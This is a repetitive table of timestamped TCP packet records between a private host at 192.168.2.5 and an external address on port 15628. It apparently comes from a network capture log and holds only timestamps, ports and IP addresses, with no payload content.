Jul 20, 2024 11:54:01.304488897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.309418917 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.309478998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.314376116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.314428091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.319281101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.319344044 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.324506998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.324559927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.329457998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.329507113 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.334494114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.334605932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.339494944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.339590073 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.344549894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.344609022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.349564075 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.349653006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.354453087 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.354526043 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.359422922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.359472990 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.364341974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.364403963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.369304895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.369363070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.374300003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.374345064 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.380125046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.380196095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.386099100 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.386145115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.392031908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.392914057 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.398858070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.398937941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.403763056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.403847933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.408708096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.408763885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.413626909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.413686991 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.418530941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.418581009 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.423527956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.423594952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.428392887 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.428466082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.433545113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.433600903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.438374043 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.438491106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.443525076 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.443584919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.448525906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.448573112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.454281092 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.454334974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.459336042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.459412098 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.464278936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.464358091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.470218897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.470288038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.477148056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.477224112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.482960939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.483047009 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.490694046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.490770102 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.499648094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.499738932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.507278919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.507354975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.515810013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.515886068 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.523638964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.523705959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.528682947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.528736115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.533679962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.533792019 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.538744926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.538829088 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.544137001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.544243097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.549199104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.549308062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.554312944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.554377079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.559428930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.559545040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.564547062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.564594030 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.569480896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.569535017 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.575210094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.575277090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.581373930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.581468105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.586848974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.586915970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.591766119 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.591825008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.596910954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.597032070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.602761030 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.602807999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.609061003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.609126091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.614825964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.614908934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.620784044 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.620845079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.625813961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.625902891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.630753040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.630806923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.636018991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.636179924 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.641046047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.641105890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.646321058 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.646379948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.651341915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.651490927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.656363010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.656533003 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.661636114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.661745071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.666783094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.666980982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.671937943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.672116995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.678046942 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.678183079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.683131933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.683203936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.688149929 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.688256979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.693212032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.693275928 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.698246956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.698328018 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.703778982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.703927040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.710280895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.712418079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.717556953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.717612028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.722552061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.722621918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.727451086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.728919029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.733980894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.734050989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.739300013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.739382982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.744455099 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.744524002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.749644041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.749701023 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.755186081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.755276918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.761229992 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.761291981 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.766884089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.766952991 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.772279978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.772350073 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.777991056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.778053045 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.784568071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.784632921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.789900064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.789966106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.795223951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.795289993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.800903082 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.801126957 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.806076050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.806138039 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.813648939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.813713074 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.819890976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.819967031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.825083017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.825139999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.830447912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.830514908 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.835901976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.835999012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.841082096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.841139078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.846412897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.846472025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.852430105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.852499962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.857422113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.857487917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.862431049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.862495899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.867397070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.867481947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.885865927 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.885946035 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.891304016 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.891375065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.896289110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.896359921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.901225090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.901288033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.906127930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.906198978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.912539959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.912592888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.918515921 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.918631077 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.923736095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.923846960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.929169893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.929230928 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.934705019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.934771061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.940598965 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.940709114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.947143078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.947196007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.952433109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.952492952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.958003998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.958055973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.963785887 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.963866949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.968797922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.968854904 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.984122038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.984190941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.989547014 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.989607096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:01.995032072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:01.995089054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.001277924 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.092014074 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.096945047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.097074986 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.101919889 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.104921103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.109899044 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.168349028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.173326969 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.174473047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.179306030 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.194845915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.199876070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.199954987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.204912901 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.220119953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.225071907 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.225157976 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.230001926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.230082035 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.234987974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.235054970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.240187883 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.240248919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.245373011 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.245428085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.250543118 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.250607967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.255722046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.255824089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.260952950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.261017084 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.266001940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.266072989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.271184921 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.271260023 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.276536942 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.276603937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.281569958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.281618118 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.286873102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.286927938 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.293994904 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.294053078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.299115896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.299170017 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.304249048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.304317951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.309515953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.309570074 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.314687967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.314745903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.320538998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.320712090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.325771093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.325815916 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.331720114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.331782103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.337857962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.337980032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.343445063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.343549013 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.348699093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.348747969 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.353770971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.353921890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.358800888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.358949900 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.364543915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.364661932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.370124102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.370251894 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.376015902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.376136065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.381337881 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.384654999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.389589071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.389648914 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.394614935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.394680977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.400531054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:02.400592089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:02.406008005 CEST	15628	49715	154.204.0.4	192.168.2.5
